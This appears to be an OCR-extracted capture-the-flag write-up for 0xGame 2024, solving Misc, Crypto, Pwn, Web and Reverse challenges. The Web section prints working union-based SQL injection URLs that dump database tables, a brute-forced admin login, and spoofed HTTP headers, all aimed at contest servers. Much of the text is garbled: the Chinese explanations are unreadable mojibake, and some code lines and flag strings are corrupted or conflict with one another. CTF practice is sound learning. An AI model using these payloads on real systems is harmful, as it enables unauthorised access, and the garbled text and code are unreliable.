Misc
%% DK [Eibtiging

KHHEAARE, &i%x 0xGame 2024 FKEY
flag: OxGame{w31cOm3_70_0x64m3_2024_5p0On50r3d_8y_dkdun}

O0xGame2048

B BU—mtEAT ERIRRR, BANRBIEIA T 0xGame2048f9EH , HERIXF 2T EAIbasemhs
(Bfif4E: OxGame2048.txt)

TEEVMHAIE R XeoMPee ook T st AEus phe®

IEEIR R EZEbase2048, AIMMuLBase2048 Encoder And Decoder (nerdmosis.com)

JTEAEISS8% 0xGame{w31cOme_t0_0xG4me! ! !}

INZREGEE?

HRHLUAREEEE, RECHET M EEE, hEREE—Mflagitf, 39FTHY, FH0xGame

hngz

PAFRFR010Editori TR, RIARERD, B—AR, —P=258, — 1259, EILR5BKII59
EREREEEATURET

010 Editor - Floating Tab Group - flagzip
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3 5 OB 19 65 15 5C GO 67 64 @5 A A0 GF 64 A8 1C DB 0150/4B705706/ 00 00 00 00 01 00 01 00 5A .0.

L . :
39 81 36 DA 57 19 2B 63 FE B7 53 [EONABNOTNOZNTZ T 00 00 00 59 00 00 00 4E 00 49 20 64 6F 6E 27 74 |...Y...N.I don't

74 00100 00]08 00]98 g 35 20 68 61 76 65 20 61 20 67 6F 6F 64 20 6D 65 6D have a good mem
ﬁ [ o 6F 72 79 2C 20 73 6F 20 49 27 6C 6C 20 70 75 74 ory, so I'll put
100]

20 00 00 00|00 ) 20 74 68 65 20 70 61 73 73 77 6F 72 64 20 68 65 the password he
OA 00 20 0Q[°o—-s=oa ~a E K 72 65 0D OA 70 61 73 73 77 6F 72 64 3A 30 78 47 re..password:0xG

E7 24 E9 DA 01 S0 % 61 6D 65 32 30 32 34 ame2024

BD 24 E9 DA 015

00 5A 00 00 00 S

27 74 20 68 61 76 65 20 61 20 67 6F 6F 64 20 6D 't have a good m

65 6D 6F 72 79 2C 20 73 6F 20 49 27 6C 6C 20 70 emory, so I'll p

75 74 20 74 68 65 20 70 61 73 73 77 6F 72 64 20 ut the password

68 65 72 65 0D OA 70 61 73 73 77 6F 72 64 3A 30 here..password:0

78 47 61 6D 65 32 30 32 34 xGame2024 i,
Template Results - ZIP.bt &

Name Value Type Color
record flag.txt struct ZIPFILE... ‘:
Gl cau A . [

bt et TINAINE

BRRIXMIERTRERIHEMEERI D

Bz, EEBEflag: 0xGame{M@ybe_yOu_ar2_t4e_mAsTer_0f_zlp}

Crypto

Caesar Cipher

23 0yHbnf{Uif_Cfhjoojoh_Pg_Dszqup}

R BN,

=R, KMkey=1, $xf5flag: Oxgame{the_beginning_of_crypto}

Code

SRENBHHFTFHEE]:


af://n0
af://n2
af://n4
https://nerdmosis.com/tools/encode-and-decode-base2048
af://n9
af://n15
af://n16
af://n20

#How to use mathematics to represent information?
from Crypto.Util.number import bytes_to_long

from base64 import b64encode

from secret import flag

msg = flag.encode()
Tength = len(msg)

assert length%4 ==
block = length//4
m = [ msg[ block*(i) : block*(i+1) ] for i 1in range(4) ]

mO0 = m[0]
ml = bytes_to_long(m[1])
m2 = m[2].hex()

m3 = b64encode(m[3])

print(f'm0 = {m0}\nml = {m1}\nm2 = {m2}\nm3 = {m3}')

m0 = b'OxGame{73d7'
ml = 60928972245886112747629873
m2 = 3165662d393339332d3034

m3 = b'N2YwZTdjNGRIMX0="

T

RS flagirD AEFAI4EED m0 , m1, m2, m3, 455!
1. m0 A4bIE,
2. ml SR 6t HIgRAD, BRI 101EE]. REFEEL10TEE 165, B 16EHIRIBRIE.
3. m2 #16¥HISR.
4. m3 Fibase644wH3.

RIS EHHESR:
m0 = OxGame{73d7
ml = 2f64-7656-1
m2 = 1ef-9393-04
m3 = 7f0e7c4del}

flag = OxGame{73d72f64-7656-11ef-9393-047f0e7c4del}

i

Code-Vigenere
AR T8

from secret import flag
from os import urandom
from base64 import b64encode

def Encrypt(msg, key):
Lenth = len(key)

result =


af://n35

ord('A")
ord('a")

upper_base
Tower_base =
KEY =

index = 0
for m in msg:
tmp_key = KEY[index%Lenth]
if not m.isalpha(Q):
result +=m
continue

if m.isupper(Q):

[ord(key.upper()[_]) - upper_base for _ in range(Lenth)]

result += chr(upper_base + (ord(m) - upper_base + tmp_key) % 26)

else:

result += chr(lower_base + (ord(m) - Tower_base + tmp_key) % 26)

index += 1
return result

key = b64encode(urandom(6))[:5].decode()
print(Encrypt(flag, key))

#01Ccop{oyd94092-g8mq-4963-88b6-4helrxdhm6q7}

RS ERkSAIbase64dmIBEEE, BN FRRERERHITHURINZ
HFEHflagai6fizy Oxcame BNNZEZEERE50,

BILAApythonf{rs:

REED AR HERS MIEER VA IEEEZ R

for i in "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/":

# print("0" + i + "000™)

# print(Encrypt("01Ccop{oyd94092-g8mq-4963-88b6-4helrxdhm6q7}",

"000"))
if (
Encrypt("01Ccop{oyd94092-g8mq-4963-88b6-4helrxdhm6q7}",
[1]

print("Keyl:", 1)
if (
Encrypt("0TCcop{oyd94092-g8mq-4963-88hb6-4helrxdhm6q7}",
[2]
= Og"
print("Key2:", 1)
if (
Encrypt("0TCcop{oyd94092-g8mq-4963-88h6-4helrxdhm6q7}",
[3]

print("Key3:", 1)
if (
Encrypt("0TCcop{oyd94092-g8mq-4963-88hb6-4helrxdhm6q7}",
[4]

"0+ i+

"L i 4 "0000™)

IIOII + 1' + "000")

IIOOII + 1' + ”00")

IIOOOII + 1' + lloll)



print("Key4:", 1)
if (
Encrypt("0T1Cccop{oyd94092-g8mq-4963-88b6-4helrxdhmeq7}", "0000" + i + "™)
[5]

print("Key5:", 1)

HTFFERE261, key R lfE—, BITERA:

Key?2:
Keyl:
Key5:
Key3:
Key4:
Key?2:
Keyl:
Key5:
Key3:
Key4:
Keyl:
Key5:

+ O wKK KT 8 m <X < W =EZm

Key?2:

55 3+yyp fENRZEZHERflag: OxGame{acb94092-e8bc-4963-88f6-4fcadbbfb6c7}

RSA-Baby

from Crypto.Util.number import bytes_to_long, getPrime
from hashlib import md5

from random import randint

from gmpy2 import invert,gcd

#Hash Function:
def MD5(m) :return md5(str(m).encode()) .hexdigest()

#RSA AlgorithmParameter Generation Function:
def KeyGen():

Factor_BitLength = 30

g = getPrime(Factor_BitLength)

p = getPrime(Factor_BitLength)

N=p*q

#Euler's totient function:

phi = (p-1) * (g-1)

#Generate Keys:
while True:
e = randint(l,phi)
if gcd(e,phi) == 1:
d = int(invert(e,phi))
break

#Generate Result:


af://n45

Pub_Key = (N,e)
Prv_Key (N,d)
return Pub_Key,Prv_Key

Pub,Prv = KeyGen()

= Pub[0]
e = Pub[1]
d = Prv[1]

#RSA Encrypt:

m = randint(1l,N)

c = pow(m,e,N)
print(f'pPub_Key = {Pub}')
print(f'pPrv_Key = {Prv}')

print(f'Encrypt_msg = {c}')

Pub_Key (547938466798424179, 80644065229241095)
Prv_Key (547938466798424179, 488474228706714247)
Encrypt_msg = 344136655393256706

flag = 'OxGame{'+ MD5(m) +'}'

A BRIRAAE T HRNA

c = 344136655393256706
d = 488474228706714247
N = 547938466798424179
m = pow(c, d, N)

flag = "OxGame{" + MD5(m) + "}"

print(f"Flag = {flag}™)

5&lflag: OxGame{6e5719c54cdde25ce7124e280803f938}

RSA-Easy

from Crypto.Util.number import bytes_to_long, getPrime
from hashlib import md5

from random import randint

from gmpy2 import invert,gcd

#Hash Function:
def MD5(m):return md5(str(m).encode()) .hexdigest()

#RSA AlgorithmParameter Generation Function:
def KeyGen():
Factor_BitLength = 30
q getPrime(Factor_BitLength)
p
N=p*q

getPrime(Factor_BitLength)


af://n50

#Euler's totient function:
phi = (p-1) * (g-1)

#Generate Keys:
while True:
e = randint(1,phi)
if gcd(e,phi) == 1:
break

#Generate Result:
Pub_Key = (N,e)
return Pub_Key

Pub = KeyGen()

N = Pub[0]
e = Pub[1]

#RSA Encrypt:
m = randint(1,N)
c = pow(m,e,N)

print(f'pPub_Key = {Pub}')
print(f'Encrypt_msg = {c}")

Pub_Key = (689802261604270193, 620245111658678815)

Encrypt_msg = 289281498571087475

flag = 'OxGame{'+ MD5(m) +'}'

SIHINHTEN S

from sympy.ntheory import factorint

number = 689802261604270193
factors = factorint(number)

print(f"The prime factors of {number} are:

5%l 689802261604270193=823642439%837502087

{factors}")



N, e = 689802261604270193, 620245111658678815
c = 289281498571087475

# RSA Decrypt:
phi = (823642439 - 1) * (837502087 - 1)

o
Il

invert(e, phi)

3
Il

pow(c, d, N) # &L

flag = "OxGame{" + MD5(m) + "}"
print(f"Decrypt_msg = {m}")
print(f"Flag = {flag}")

TTEHFATH d: 180714494322768091 , Z m:302808065155328433 , XX FIMD54E15Zflag:
OxGame{5aa4603855d01ffdc5dcf92e0e604f31} ,

Pwn

0. test your nc

RN EENIinuXTELISEIN nc 47.97.58.52 40000 FRUNERE.

)  Ubuntu 64 fiI - VMware Workstation - O X

XHEF) fRIBE EEV) ERM BEEED #H) |- S 0 o 2 OH DN 7~
B X
O #Hh.. v

[[}! Ubuntu 64

Activities ] Terminal Thu 08:27

&S00~
NN spreng@spreng-virtual-machine: ~ X o) <]
l:'ﬁajl‘l’%ﬂ . 5 WEEBW,VEE[ Terminal Help
I—D Ubuntt © run a command as administrator (user "root"), use "sudo <command>".

man sudo_root" for details.

spreng@spreng-virtual-machine:~$ nc 47.97.58.52 40000
Welcome aboard, Pwner!
As you has connected to this service, I'll give you the flag!
Next, prepare your linux and pwntools, you'll need them later.
Maybe a LITTLE bit of knowledge as well, a LITTLE.
Good Luck, and have fun!
) OxGame{928bb261-0a63-4389-b629-4d1f2f449848}
~C

spreng@spreng-virtual-machine:~$ I

ERAANERZLRZEU, BERIREHB AR TR Cirl+G. [ oy ] &
EaA=]

¥X15flag: OxGame{928bb261-0a63-4389-b629-4d1f2f449848}%


af://n57
af://n58
af://n62

Web

ez_login
SN SZRBAEBPINE, &iXEIntruder

POST /Togin HTTP/1.1

Host: 47.76.156.133:60084

User-Agent: Mozilla/5.0 (windows NT 10.0; win64; x64;
Firefox/131.0

Accept:

rv:131.0) Gecko/20100101

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image

/png,image/svg+xml,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-Tw;q=0.7,zh-HK;g=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate, br
content-Type: application/x-www-form-urlencoded
Content-Length: 29

origin: http://47.76.156.133:60084

Connection: keep-alive

Referer: http://47.76.156.133:60084/10gin
Upgrade-Insecure-Requests: 1

Priority: u=0, i

username=admin&password=admin

BRI, ZhEAadmini23,

wE R 3. Intruder attack of http//47.76.156.133:60084 - 0o X
9 3.Intruder attack of http://47.76.156.133:60084 Tk v smv | ® O
&8 Loi=3 payload B ieE
V Intruder attack results filter: ERATERE
AR payload REB fiSelialvg iR RE
0 200 68 186
1 inzadmin 200 68 186
2 admini2 200 88 186
3 admingss 200 68 186
4 adming 200 43 186
[s admin123 302 88 495
6 sysadmin 200 88 186
7 adminooc 200 68 186
8 adminx 200 88 186
9 6kadmin 200 62 186
R WA :
2@ n o=
=0
@ & €[] | search Ll om=

| 641 0 7510



af://n62
af://n63

() | Command Input Page X  + (i) - X

« > C @ O & 47.76.156.133:60084 B W ©@ 8 & O =

Dxmesits @ HiFrks Oxmmn B 5w O tavse

Flag:

0xGame{lt_Is_Easy_Right?}

EaA=]

¥X15flag: OxGame{It_Is_Easy_Right?}

ez_sql

I http://47.76.152.109:60080/?id=1 order by 5# AiRsE, BHIA
http://47.76.152.109:60080/?id=1 order by 6# iRfE, IHEBZERERT,
ETRMALMERunionT, SoBamEEaHE, MULUERENNEGT,
http://47.76.152.109:60080/?id=1 and 1=0 union select 1, 2, 3, 4, 5 from users , [z
EIATLAEISE,

5] ’ APER x|+ fim] = x
« > C 0 O Q 47.76.152.109:60080/%id=1 and 1=0 union select 1, 2, 3, 4, 5 from users % % ® 8 & O =
D yomemis @ wFEks O smma [ s Danigs Layps
AFER
a2
EFHRF: 3
HESH: 4
it 5

SQLiEf: select * from users where id = 1 and 1=0
union select 1, 2, 3, 4, 5 from users

(ERER:

SR http://47.76.152.109:60080/?id=1 and 1=0 union select 1, 2, 3, 4,
group_concat(name) from sqlite_master , 3XENZ% flag,users,


af://n70

B | mrEs x  + o - a8 X
<« C o O 8 47.76.152.109:60080/?id=1 and 1=0 union select 1, 2, 3, 4, group_concat(name) from sqlite_master 2 d ®© B & H =
O oomess @ FiFts Osmmu B sorem Deangs tavps

ARER
HE: 2
TR 3
HBiESHE: 4
Hidik: flag,users
SQLiEf): select * from users where id = 1 and 1=0

union select 1, 2, 3, 4, group_concat(name) from
sqlite_master

EIRES:

BiE5) http://47.76.152.109:60080/?id=1 and 1=0 union select 1, 2, 3, 4,
group_concat(sql) from sqlite_master where name = 'flag' 8% hacker , #ILET, 1503,
RINFET, http://47.76.152.109:60080/?id=1 and 1=0 union select 1, 2, 3, 4,

group_concat(sql) from sqlite_master , {5ZIFFE%, HepflagkREflagsl,

B | mrEs x  + o - a8 X
<« C o O 8 47.76.152.109:60080/?id=1 and 1=0 union select 1, 2, 3, 4, group_concat(sql) from sqlite_master 2 d ®© B & O =
Ooomess @ FiFEts Ommu B sorEm Deangs tavss

BRER
WE: 2
EFHR: 3
BESH: 4
fifik: CREATE TABLE "flag” ( "flag” TEXT ),CREATE

TABLE "users” ( "id" INTEGER, "username" TEXT,
“"email" TEXT, "phone" TEXT, "address" TEXT )
SQLiEf): select * from users where id = 1 and 1=0
union select 1, 2, 3, 4, group_concat(sql) from
sqlite_master

SEIRER:

Hx45E(E http://47.76.152.109:60080/?id=1 and 1=0 union select 1, 2, 3, 4,
group_concat(flag) from flag



8 | mBreEe x  + o - a8 X

<« C @ O 8 47.76.152.109:60080/2id=1 and 1=0 union select 1, 2, 3, 4, group_concat(flag) from flag 8w @ 8 & 8 =
Dxmeswn @ FErs Onmna B v Owenas Lavss
ARER
WE: 2
EAFURE: 3
BiESH: 4

Hidik: 0xGame{Do_not_Use_SqiMap!
_Try_it_By_Your_Self}

SQLiEf): select * from users where id = 1 and 1=0
union select 1, 2, 3, 4, group_concat(flag) from flag

EIRES:

¥=/78

$k18flag: OxGame{Do_not_Use_SqlMap!_Try_it_By_yvour_self} , M85, FHi&ASqlMap,

hello_http

FAbpiMBLEEKRS, —Thttp, EBJLNER, Bl —IRH—m~flag:
1. FAx1cBrowser¥l5aggi/ia)l, User-Agent 9 x1cBrowser
2. 123%hello=world, GET/FE /?hello=world

3. Postigazweb=security, Getf{{gPOST, fJ1—%A] Content-Type: application/x-www-form-
urlencoded f5HiAweb=security

4, M http://Tocalhost:8080/ ifjal, 5 Referer: http://localhost:8080/

5.M 127.0.0.1 ipja), 5 x-Forwarded-For: 127.0.0.1

B&http/y:

POST /?hello=world HTTP/1.1

Host: 8.130.84.100:50002

User-Agent: x1cBrowser

Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q
=0.8

Cookie:flag=secret

Accept-Language: zh-CN,zh;qg=0.8,zh-Tw;g=0.7,zh-HK;g=0.5,en-US;g=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Content-Length: 12

Content-Type: application/x-www-form-urlencoded

Referer: http://localhost:8080/

X-Forwarded-For: 127.0.0.1

web=security

$K15flag: Oxgame{1lcd6a904-725f-11lef-aafb-d4d8533ec05c}



af://n82
af://n98

helloz-web
BAMBILEF12, (BRSALEN, SRR

<!-- FHTlag.php -->
<!l-— W flagiis—B: OxGame{ee7f2040-1987-4e0a -->

I5EEM4g.php, 178 http://8.130.84.100:50001/F14g.php , BEHRR: "RAIENTEENLL
@‘ug? n
BPEMIMNEEE]: ®nd'oflagciic-—a°0@®ui%0-872d-68589c4ab3d3}

HiE153Iflag: OxGame{ee7f2040-1987-4e0a-872d-68589c4ab3d3}

Reverse
BabyBase

FRIDAFTFRERCRS

int __cdecl main(int argc, const char **argv, const char **envp)
{

char v4; // [rsp+20h] [rbp-60h]

char str; // [rsp+60h] [rbp-20h]

unsigned int v6; // [rsp+Ach] [rbp+2Ch]

_main(argc, argv, envp);
memset (&Str, 0, 0x40ui64);
memset(&v4, 0, 0x40ui64d);
puts(&::Str);
scanf("%s", &Sstr);
puts(&byte_405052);
v6 = strlen(&Str);
encode(&Sstr, &v4, vb6);
if ( v6 != 42 || check_flag(&v4) )
{
printf("Invalid!");
exit(0);
3
printf("Congratulation!!");
return 0;

BHEcheck_flag

int __fastcall check_flag(const char *al)

{
return strcmp(al, "MHhHYW11e04wd195MHVfa24wd19CNHNTNjRTFRWSjMGQxbmdfdzNsbCF9") ;

SSEHITBase64fFiL5Zflag: O0xGame{NOw_yOu_knOw_B4se64_EncOdlng_w311!}


af://n98
af://n103
af://n104
af://n105

BinaryMaster

int __cdecl main(int argc, const char

{

JO¥0

**argv, const char **envp)

BOOL v3; // eax
char Buffer; // [rsp+20h] [rbp-40h]
BOOL v6; // [rsp+5Ch] [rbp-4h]

_main(argc, argv, envp);

puts("welcome to the world of Binary!");

printf("But, do you know \"octal\" and \"Hexadecimal\"?");
puts("\n");
puts("This is an Oct number: 04242424");

puts("Please convert it to Hex:");

gets(&Buffer);

v3 = strcmp("0x114514", &Buffer) && strcmp("114514", &Buffer);
v6 = v3;
if C v3 )

{

}

puts("try again . . .");
system("pause");

exit(0);

puts (&byte_40409A);

puts("you find it!");

puts ("0OxGame{114514cc-a3a7-4e36-8db1-5f224b776271}");
return 0;

emm, ftHABIE11451455 981204242424, BIERLERT, flag: OxGame{l14514cc-a3a7-
4e36-8db1-5f224b776271}

SignSign

S BISHER _b3gln_Reversing_nOw} , B{FRIERENAIN, 8% 0xGame{Slgnin_h3r3_4nd

.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:
.data:

0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403000
0000000000403004
0000000000403010
0000000000403010
0000000000403027
0000000000403030
0000000000403030
0000000000403038
0000000000403040
0000000000403040
0000000000403041
0000000000403042
0000000000403043
0000000000403044
0000000000403044
0000000000403045
0000000000403046
0000000000403047

Section size in file 1 00000200 ( 512.)
Offset to raw data for section: 00002200

Flags C@500040: Data Readable Writable

Alignment : 16 bytes

Ceee el e bl

; Segment type: Pure data
; Segment permissions: Read/Write

_data segment para public 'DATA' use64

assume cs:_data
;org 403000h
public __mingw_winmain_nShowCmd

__mingw_winmain_nShowCmd dd ©Ah ; DATA XREF: __tmainCRTStartup:loc_40130Ftw

align 10h

public half_flag |
half_flag db 'oxGame{Signin_h3r3_4nd',0

align 10h
p_93846 dq offset qword_402D40 ; DATA XREF: _ do_global dtors+41r

; __do_global_dtors+15tr ...
align 20h
public _ native_vcclrit_reason

__native_vcclrit_reason db @FFh

db ©FFh
db OFFh
db OFFh
public _ native_dllmain_reason

__native_dllmain_reason db ©FFh

db OFFh
db OFFh
db OFFh

flag: OxGame{slgnln_h3r3_4nd_b3gln_Reversing_nOw}


af://n105
af://n110
af://n135

Xor-Beginning

*

int __cdecl main(int argc, const char **argv, const char **envp)
{

char v4[64]; // [rsp+20h] [rbp-70h]
char v5; // [rsp+60h] [rbp-30h]
char v6; // [rsp+61h] [rbp-2Fh]
char v7; // [rsp+62h] [rbp-2Eh]
char v8; // [rsp+63h] [rbp-2Dh]
char v9; // [rsp+64h] [rbp-2cCh]
char v10; // [rsp+65h] [rbp-2Bh]
char v11; // [rsp+66h] [rbp-2Ah]
char v12; // [rsp+67h] [rbp-29h]
char v13; // [rsp+68h] [rbp-28h]
char v14; // [rsp+69h] [rbp-27h]
char v15; // [rsp+6Ah] [rbp-26h]
char v16; // [rsp+6Bh] [rbp-25h]
char v17; // [rsp+6Ch] [rbp-24h]
char v18; // [rsp+6Dh] [rbp-23h]
char v19; // [rsp+6Eh] [rbp-22h]
char v20; // [rsp+6Fh] [rbp-21h]
char v21; // [rsp+70h] [rbp-20h]
char v22; // [rsp+71h] [rbp-1Fh]
char v23; // [rsp+72h] [rbp-1Eh]
char v24; // [rsp+73h] [rbp-1Dh]
char v25; // [rsp+74h] [rbp-1ch]
char v26; // [rsp+75h] [rbp-1Bh]
char v27; // [rsp+76h] [rbp-1Ah]
char v28; // [rsp+77h] [rbp-19h]
char v29; // [rsp+78h] [rbp-18h]
char v30; // [rsp+79h] [rbp-17h]
char v31; // [rsp+7Ah] [rbp-16h]
char v32; // [rsp+7Bh] [rbp-15h]
char v33; // [rsp+7Cch] [rbp-14h]
char v34; // [rsp+7Dh] [rbp-13h]
int v35; // [rsp+88h] [rbp-8h]
int v36; // [rsp+8Ch] [rbp-4h]

_main(argc, argv, envp);

v36 = 0;
v35 = 0;
v5 = 126;
ve = 53;
v7 = 11;
v8 = 42;
v9 = 39;
v10 = 44;
vll = 51;
vl2 = 31;
vl3 = 118;
vl4 = 55;
vl5 = 27;
v1le = 114;
v1l7 = 49;

v1l8 = 30;


af://n135

v19 = 54;

v20 = 12;
v21l = 76;
v22 = 68;
v23 = 99;
v24 = 114;
v25 = 87;
V26 = 73;
v27 = 8;
v28 = 69;
v29 = 66;
v3i0 = 1;
v31l = 90;
v32 = 4;
v33 = 19;
v34 = 76;
printf(&Format) ;

scanf("%s", v4);
while ( v4[v36] )
{
v4[v36] A= 78 - (_BYTE)vV36;
++Vv36;
3
while ( v35 < v36 )
{
if ( v4[v35]
{
printf(asc_404022);
system("pause");
exit(0);
3
++v35;
}
puts(str);
system("pause");
return 0;

SRS, VSEIV3AR K N30A9EE

RIBATEEARBAFFTE (Biflag) 251578,

mFFEENYE, REEI126. 5376578, 77. 76
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// Xor

C

= 126 A 78;

printf("%c", c);

C

= 53 A 77;

printf("%c", c);

C

= 11 A 76;

printf("%c", c);

C

=42 N 75;

printf("%c", c);

C

= 39 A 74;

I= (unsigned _int8)*(&v5 + v35)

[l v36 != 30 )



printf("%c", c);

C = 44 A 73;
printf("%c", c);
c =51A72;
printf("%c", c);
c =31 A 71;
printf("%c", c);
c = 118 A 70;
printf("%c", c);
c = 55 A 69;
printf("%c", c);
c = 27 AN 68;
printf("%c", c);
c = 114 A 67;
printf("%c", c);
Cc = 49 A 66;
printf("%c", c);
c = 30 A 65;
printf("%c", c);
Cc = 54 AN 64;
printf("%c", c);
c =12 A 63;
printf("%c", c);
c =76 A 62;
printf("%c", c);
c = 68 A 61;
printf("%c", c);
c =99 A 60;
printf("%c", c);
c = 114 A 59;
printf("%c", c);
c = 87 A 58;
printf("%c", c);
c =73 AN57;
printf("%c", c);
c =8 A 56;
printf("%c", c);
c = 69 A 55;
printf("%c", c);
C = 66 A 54;
printf("%c", c);
c=1A53;
printf("%c", c);
c =90 A 52;
printf("%c", c);
c =4 A 51;
printf("%c", c);
c = 19 A 50;
printf("%c", c);
c =76 A 49;

printf("%c", c);

a8, &E10DFHMIINtLRS, BRED—R
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